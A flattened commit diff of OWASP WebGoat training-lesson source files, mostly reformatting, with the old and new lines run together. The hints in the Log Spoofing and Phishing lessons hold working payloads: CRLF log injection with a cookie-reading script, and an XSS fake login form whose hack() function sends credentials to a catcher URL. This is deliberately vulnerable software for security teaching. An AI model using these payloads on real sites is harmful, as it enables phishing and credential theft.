Element b = ECSFactory.makeButton("Login"); row2.addElement(new TD(new StringElement("Password: ")));
row3.addElement(new TD(new StringElement("&nbsp; "))); Input password = new Input(Input.PASSWORD, PASSWORD, "");
row3.addElement(new TD(b)).setAlign("right"); row2.addElement(new TD(password));
t.addElement(row1); Element b = ECSFactory.makeButton("Login");
t.addElement(row2); row3.addElement(new TD(new StringElement("&nbsp; ")));
t.addElement(row3); row3.addElement(new TD(b)).setAlign("right");
ec = new ElementContainer(); t.addElement(row1);
ec.addElement(t); t.addElement(row2);
t.addElement(row3);
inputUsername = new String(s.getParser().getRawParameter(USERNAME, ec = new ElementContainer();
"")); ec.addElement(t);
if (inputUsername.length() != 0)
{
inputUsername = URLDecoder.decode(inputUsername, "UTF-8");
}
ec.addElement(new PRE(" ")); inputUsername = new String(s.getParser().getRawParameter(USERNAME, ""));
if (inputUsername.length() != 0)
{
inputUsername = URLDecoder.decode(inputUsername, "UTF-8");
}
Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0) ec.addElement(new PRE(" "));
.setBorder(0);
TR row4 = new TR();
row4.addElement(
new TD(new PRE("Login failed for username: "
+ inputUsername))).setBgColor(HtmlColor.GRAY);
t2.addElement(row4); Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row4 = new TR();
row4.addElement(new TD(new PRE("Login failed for username: " + inputUsername))).setBgColor(HtmlColor.GRAY);
ec.addElement(t2); t2.addElement(row4);
if (inputUsername.length() != 0 ec.addElement(t2);
&& inputUsername.toUpperCase().indexOf(
System.getProperty("line.separator") if (inputUsername.length() != 0
+ "LOGIN SUCCEEDED FOR USERNAME:") >= 0) && inputUsername.toUpperCase().indexOf(
{ System.getProperty("line.separator")
makeSuccess(s); + "LOGIN SUCCEEDED FOR USERNAME:") >= 0)
} {
makeSuccess(s);
}
} catch (UnsupportedEncodingException e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return ec;
} }
catch (UnsupportedEncodingException e)
private final static Integer DEFAULT_RANKING = new Integer(72);
protected Integer getDefaultRanking()
{ {
s.setMessage("Error generating " + this.getClass().getName()); return DEFAULT_RANKING;
e.printStackTrace();
} }
return ec;
}
private final static Integer DEFAULT_RANKING = new Integer(72); @Override
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Try to fool the humane eye by using new lines.");
hints.add("Use CR (%0d) and LF (%0a) for a new line.");
hints.add("Try: Smith%0d%0aLogin Succeeded for username: admin");
hints
.add("Try: Smith%0d%0aLogin Succeeded for username: admin&lt;script&gt;alert(document.cookie)&lt;/script&gt;");
return hints;
}
protected Integer getDefaultRanking() @Override
{ public String getTitle()
return DEFAULT_RANKING; {
} return "Log Spoofing";
}
@Override
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
@Override public Element getCredits()
protected List<String> getHints(WebSession s) {
{ return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
List<String> hints = new ArrayList<String>(); }
hints.add("Try to fool the humane eye by using new lines.");
hints.add("Use CR (%0d) and LF (%0a) for a new line.");
hints.add("Try: Smith%0d%0aLogin Succeeded for username: admin");
hints
.add("Try: Smith%0d%0aLogin Succeeded for username: admin&lt;script&gt;alert(document.cookie)&lt;/script&gt;");
return hints;
}
@Override
public String getTitle()
{
return "Log Spoofing";
}
@Override
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
} }

View File

@ -1,90 +1,88 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a> * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class NewLesson extends LessonAdapter public class NewLesson extends LessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
protected Element createContent(WebSession s) */
{ protected Element createContent(WebSession s)
return super.createContent(s); {
//makeSuccess(s); return super.createContent(s);
//ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!")); // makeSuccess(s);
//return (ec); // ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!"));
} // return (ec);
}
/**
* Gets the category attribute of the NEW_LESSON object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.GENERAL;
}
/** private final static Integer DEFAULT_RANKING = new Integer(85);
* Gets the category attribute of the NEW_LESSON object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.GENERAL;
}
private final static Integer DEFAULT_RANKING = new Integer(85); protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DirectoryScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Create a WebGoat Lesson");
}
protected Integer getDefaultRanking() public Element getCredits()
{ {
return DEFAULT_RANKING; return super.getCustomCredits("Created by: Your name goes here!", new StringElement(""));
} }
/**
* Gets the title attribute of the DirectoryScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Create a WebGoat Lesson");
}
public Element getCredits()
{
return super.getCustomCredits("Created by: Your name goes here!", new StringElement(""));
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.BufferedReader; import java.io.BufferedReader;
@ -5,7 +6,6 @@ import java.io.File;
import java.io.FileReader; import java.io.FileReader;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -14,36 +14,34 @@ import org.apache.ecs.html.HR;
import org.apache.ecs.html.TD; import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -111,13 +109,15 @@ public class PathBasedAccessControl extends LessonAdapter
s.setMessage("It appears that you are on the right track. " s.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. " + "Commands that may compromise the operating system have been disabled. "
+ "You are only allowed to see one file in this directory. "); + "You are only allowed to see one file in this directory. ");
} else if (upDirCount(file) > 3) }
else if (upDirCount(file) > 3)
{ {
s.setMessage("Access denied"); s.setMessage("Access denied");
s.setMessage("It appears that you are on the right track. " s.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. " + "Commands that may compromise the operating system have been disabled. "
+ "You are only allowed to see files in the webgoat directory. "); + "You are only allowed to see files in the webgoat directory. ");
} else }
else
{ {
illegalCommand = false; illegalCommand = false;
} }
@ -153,16 +153,20 @@ public class PathBasedAccessControl extends LessonAdapter
s.setMessage("Congratulations! Access to file allowed"); s.setMessage("Congratulations! Access to file allowed");
s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath()));
makeSuccess(s); makeSuccess(s);
} else }
else
{ {
s.setMessage("File is already in allowed directory - try again!"); s.setMessage("File is already in allowed directory - try again!");
s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath()));
} }
} else if (file != null && file.length() != 0) }
else if (file != null && file.length() != 0)
{ {
s.setMessage("Access to file/directory \"" + Encoding.urlDecode(f.getCanonicalPath()) s
.setMessage("Access to file/directory \"" + Encoding.urlDecode(f.getCanonicalPath())
+ "\" denied"); + "\" denied");
} else }
else
{ {
// do nothing, probably entry screen // do nothing, probably entry screen
} }
@ -176,30 +180,21 @@ public class PathBasedAccessControl extends LessonAdapter
ec.addElement(new HR().setWidth("100%")); ec.addElement(new HR().setWidth("100%"));
ec.addElement("Viewing file: " + f.getCanonicalPath()); ec.addElement("Viewing file: " + f.getCanonicalPath());
ec.addElement(new HR().setWidth("100%")); ec.addElement(new HR().setWidth("100%"));
if (f.length() > 80000) if (f.length() > 80000) { throw new Exception("File is too large"); }
{
throw new Exception("File is too large");
}
String fileData = getFileText(new BufferedReader(new FileReader(f)), false); String fileData = getFileText(new BufferedReader(new FileReader(f)), false);
if (fileData.indexOf(0x00) != -1) if (fileData.indexOf(0x00) != -1) { throw new Exception("File is binary"); }
{ ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "<br>")
throw new Exception("File is binary"); .replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>")
} .replaceAll("<br>\\s<br>", "<br>").replaceAll("<\\?", "&lt;").replaceAll("<(r|u|t)",
ec "&lt;$1")));
.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), } catch (Exception e)
"<br>").replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>")
.replaceAll("<br>\\s<br>", "<br>").replaceAll("<\\?", "&lt;").replaceAll(
"<(r|u|t)", "&lt;$1")));
}
catch (Exception e)
{ {
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement("The following error occurred while accessing the file: <"); ec.addElement("The following error occurred while accessing the file: <");
ec.addElement(e.getMessage()); ec.addElement(e.getMessage());
} }
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -20,32 +20,31 @@ import org.owasp.webgoat.Catcher;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -70,8 +69,8 @@ public class Phishing extends LessonAdapter
*/ */
private boolean postedCredentials(WebSession s) private boolean postedCredentials(WebSession s)
{ {
String postedToCookieCatcher = String postedToCookieCatcher = getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY,
getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY, Catcher.EMPTY_STRING); Catcher.EMPTY_STRING);
// <START_OMIT_SOURCE> // <START_OMIT_SOURCE>
return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING)); return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING));
@ -100,8 +99,7 @@ public class Phishing extends LessonAdapter
{ {
makeSuccess(s); makeSuccess(s);
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
} }
@ -169,66 +167,65 @@ public class Phishing extends LessonAdapter
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Try adding HTML to the search field to create a fake authentication form.<BR>" hints.add("Try adding HTML to the search field to create a fake authentication form.<BR>"
+ "Try to make the form look official."); + "Try to make the form look official.");
hints hints
.add("Try: <BR> " .add("Try: <BR> "
+ "password&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2" + "password&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2"
+ "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; " + "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; "
+ "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; " + "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; "
+ "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;"); + "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
hints hints
.add("Add functionality that can post a request, a button might work<BR><BR>" .add("Add functionality that can post a request, a button might work<BR><BR>"
+ "After getting the button on the page, don't forget you will need to steal the credentials and post them to: <BR>" + "After getting the button on the page, don't forget you will need to steal the credentials and post them to: <BR>"
+ "http://localhost./WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE"); + "http://localhost./WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE");
hints hints
.add("Try: <BR> " .add("Try: <BR> "
+ "&lt;input type=&quot;submit&quot; name=&quot;login&quot; " + "&lt;input type=&quot;submit&quot; name=&quot;login&quot; "
+ "value=&quot;login&quot;&gt;" + "value=&quot;login&quot;&gt;"
+ "<BR><BR>Solution for this hint:<BR><BR>" + "<BR><BR>Solution for this hint:<BR><BR>"
+ "password&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2" + "password&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2"
+ "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; " + "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; "
+ "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; " + "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; "
+ "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; " + "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; "
+ "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;"); + "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
hints hints
.add("Make the button perform an action on submit, <BR>" .add("Make the button perform an action on submit, <BR>"
+ "adding an onclick=\"hack()\" might work<BR>" + "adding an onclick=\"hack()\" might work<BR>"
+ "Don't forget to add the hack() javascript function" + "Don't forget to add the hack() javascript function"
+ "<BR><BR>Solution for this hint:<BR><BR>" + "<BR><BR>Solution for this hint:<BR><BR>"
+ "password&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2" + "password&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2"
+ "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; " + "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; "
+ "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; " + "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; "
+ "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; " + "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; "
+ "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;"); + "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;");
hints hints
.add("You need to create the hack() function. This function will pull the credentials from the " .add("You need to create the hack() function. This function will pull the credentials from the "
+ "webpage and post them to the WebGoat catcher servlet. <BR>" + "webpage and post them to the WebGoat catcher servlet. <BR>"
+ "<BR> Some useful code snippets:<UL>" + "<BR> Some useful code snippets:<UL>"
+ "<LI>doucument.forms[0].user.value - will access the user field" + "<LI>doucument.forms[0].user.value - will access the user field"
+ "<LI>XssImage = new Image(); XssImage.src=SOME_URL = will perform a post" + "<LI>XssImage = new Image(); XssImage.src=SOME_URL = will perform a post"
+ "<LI>javascript string concatentation uses a \"+\" </UL>" + "<LI>javascript string concatentation uses a \"+\" </UL>"
+ "<BR><BR>Solution for this hint():<BR><BR>" + "<BR><BR>Solution for this hint():<BR><BR>"
+ "password&lt;script&gt;function hack(){ alert(&quot;Had this been a real attack... Your credentials were just stolen." + "password&lt;script&gt;function hack(){ alert(&quot;Had this been a real attack... Your credentials were just stolen."
+ "\nUser Name = &quot; + document.forms(0).user.value + &quot;\nPassword = &quot; + document.forms(0).pass.value); " + "\nUser Name = &quot; + document.forms(0).user.value + &quot;\nPassword = &quot; + document.forms(0).pass.value); "
+ "XSSImage=new Image; XSSImage.src=&quot;http://localhost./WebGoat/catcher?PROPERTY=yes&amp;user=&quot;+" + "XSSImage=new Image; XSSImage.src=&quot;http://localhost./WebGoat/catcher?PROPERTY=yes&amp;user=&quot;+"
+ "document.forms(0).user.value + &quot;&amp;password=&quot; + document.forms(0).pass.value + &quot;&quot;;}" + "document.forms(0).user.value + &quot;&amp;password=&quot; + document.forms(0).pass.value + &quot;&quot;;}"
+ "&lt;/script&gt;"); + "&lt;/script&gt;");
hints hints
.add("Complete solution for this lesson:<BR><BR>" .add("Complete solution for this lesson:<BR><BR>"
+ "password&lt;script&gt;function hack(){ alert(&quot;Had this been a real attack... Your credentials were just stolen." + "password&lt;script&gt;function hack(){ alert(&quot;Had this been a real attack... Your credentials were just stolen."
+ "\nUser Name = &quot; + document.forms(0).user.value + &quot;\nPassword = &quot; + document.forms(0).pass.value); " + "\nUser Name = &quot; + document.forms(0).user.value + &quot;\nPassword = &quot; + document.forms(0).pass.value); "
+ "XSSImage=new Image; XSSImage.src=&quot;http://localhost./WebGoat/catcher?PROPERTY=yes&amp;user=&quot;+" + "XSSImage=new Image; XSSImage.src=&quot;http://localhost./WebGoat/catcher?PROPERTY=yes&amp;user=&quot;+"
+ "document.forms(0).user.value + &quot;&amp;password=&quot; + document.forms(0).pass.value + &quot;&quot;;}" + "document.forms(0).user.value + &quot;&amp;password=&quot; + document.forms(0).pass.value + &quot;&quot;;}"
+ "&lt;/script&gt;&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2" + "&lt;/script&gt;&lt;form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;&lt;H3&gt;This feature requires account login:&lt;/H2"
+ "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; " + "&gt;&lt;br&gt;&lt;br&gt;Enter Username:&lt;br&gt;&lt;input type=&quot;text&quot; id=&quot;user&quot; "
+ "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; " + "name=&quot;user&quot;&gt;&lt;br&gt;Enter Password:&lt;br&gt;&lt;input type=&quot;password&quot; "
+ "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; " + "name = &quot;pass&quot;&gt;&lt;br&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; "
+ "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;" + "value=&quot;login&quot; onclick=&quot;hack()&quot;&gt;&lt;/form&gt;&lt;br&gt;&lt;br&gt;&lt;HR&gt;"
+ "<BR><BR>You may need to remove the '.' from the http://localhost./"); + "<BR><BR>You may need to remove the '.' from the http://localhost./");
/** /**
* password<script>function hack(){ alert("Had this been a real * password<script>function hack(){ alert("Had this been a real attack... Your credentials
* attack... Your credentials were just stolen.\nUser Name = " + * were just stolen.\nUser Name = " + document.forms(0).user.value + "\nPassword = " +
* document.forms(0).user.value + "\nPassword = " +
* document.forms(0).pass.value); XSSImage=new Image; * document.forms(0).pass.value); XSSImage=new Image;
* XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+document.forms(0).user.value + * XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+document.forms(0).user.value +
* "&password=" + document.forms(0).pass.value + "";}</script><form><br> * "&password=" + document.forms(0).pass.value + "";}</script><form><br>
@ -257,14 +254,13 @@ public class Phishing extends LessonAdapter
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = String instructions = "This lesson is an example of how a website might support a phishing attack<BR><BR>"
"This lesson is an example of how a website might support a phishing attack<BR><BR>" + "Below is an example of a standard search feature.<br>"
+ "Below is an example of a standard search feature.<br>" + "Using XSS and HTML insertion, your goal is to: <UL>"
+ "Using XSS and HTML insertion, your goal is to: <UL>" + "<LI>Insert html to that requests credentials"
+ "<LI>Insert html to that requests credentials" + "<LI>Add javascript to actually collect the credentials"
+ "<LI>Add javascript to actually collect the credentials" + "<LI>Post the credentials to http://localhost./WebGoat/catcher?PROPERTY=yes...</UL> "
+ "<LI>Post the credentials to http://localhost./WebGoat/catcher?PROPERTY=yes...</UL> " + "To pass this lesson, the credentials must be posted to the catcher servlet.<BR>";
+ "To pass this lesson, the credentials must be posted to the catcher servlet.<BR>";
return (instructions); return (instructions);
} }

View File

@ -1,56 +1,67 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import org.owasp.webgoat.session.LessonTracker; import org.owasp.webgoat.session.LessonTracker;
import org.owasp.webgoat.session.RandomLessonTracker; import org.owasp.webgoat.session.RandomLessonTracker;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
public abstract class RandomLessonAdapter extends LessonAdapter {
public abstract class RandomLessonAdapter extends LessonAdapter
{
public abstract String[] getStages(); public abstract String[] getStages();
public void setStage(WebSession s, String stage) { public void setStage(WebSession s, String stage)
{
getLessonTracker(s).setStage(stage); getLessonTracker(s).setStage(stage);
} }
public String getStage(WebSession s) { public String getStage(WebSession s)
{
return getLessonTracker(s).getStage(); return getLessonTracker(s).getStage();
} }
public void setStageComplete(WebSession s, String stage) { public void setStageComplete(WebSession s, String stage)
{
RandomLessonTracker lt = getLessonTracker(s); RandomLessonTracker lt = getLessonTracker(s);
lt.setStageComplete(stage, true); lt.setStageComplete(stage, true);
if (lt.getCompleted()) { if (lt.getCompleted())
{
s.setMessage("Congratulations, you have completed this lab"); s.setMessage("Congratulations, you have completed this lab");
} else { }
else
{
s.setMessage("You have completed " + stage + "."); s.setMessage("You have completed " + stage + ".");
if (! stage.equals(lt.getStage())) if (!stage.equals(lt.getStage())) s.setMessage(" Welcome to " + lt.getStage());
s.setMessage(" Welcome to " + lt.getStage());
} }
} }
public boolean isStageComplete(WebSession s, String stage) { public boolean isStageComplete(WebSession s, String stage)
{
return getLessonTracker(s).hasCompleted(stage); return getLessonTracker(s).hasCompleted(stage);
} }
@Override @Override
public RandomLessonTracker getLessonTracker(WebSession s) { public RandomLessonTracker getLessonTracker(WebSession s)
return (RandomLessonTracker) super.getLessonTracker(s); {
} return (RandomLessonTracker) super.getLessonTracker(s);
}
@Override @Override
public RandomLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson) { public RandomLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson)
{
return (RandomLessonTracker) super.getLessonTracker(s, lesson); return (RandomLessonTracker) super.getLessonTracker(s, lesson);
} }
@Override @Override
public RandomLessonTracker getLessonTracker(WebSession s, String userNameOverride) { public RandomLessonTracker getLessonTracker(WebSession s, String userNameOverride)
{
return (RandomLessonTracker) super.getLessonTracker(s, userNameOverride); return (RandomLessonTracker) super.getLessonTracker(s, userNameOverride);
} }
@Override @Override
public LessonTracker createLessonTracker() { public LessonTracker createLessonTracker()
{
return new RandomLessonTracker(getStages()); return new RandomLessonTracker(getStages());
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
